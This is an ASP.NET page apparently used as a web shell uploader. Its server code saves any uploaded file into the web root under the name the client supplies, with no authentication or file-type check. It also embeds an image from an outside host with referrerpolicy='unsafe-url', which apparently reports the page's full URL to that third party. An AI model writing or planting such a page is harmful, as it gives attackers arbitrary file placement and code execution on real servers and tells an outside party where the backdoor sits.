<%@ Page Language="C#" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<script runat="server">

protected void Button1_Click(object sender, EventArgs e)
{
FileUpload1.SaveAs(Server.MapPath("./") + FileUpload1.FileName);
Response.Write(FileUpload1.FileName + " olarak upload edildi");
}
</script>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
Upload page <title>Upload page</title>

<img src="https://cdn.privdayz.com/images/logo.jpg" referrerpolicy="unsafe-url" />

<div>

</div>
<asp:FileUpload ID="FileUpload1" runat="server" />
<asp:Button ID="Button1" runat="server" onclick="Button1_Click" Text="Button" />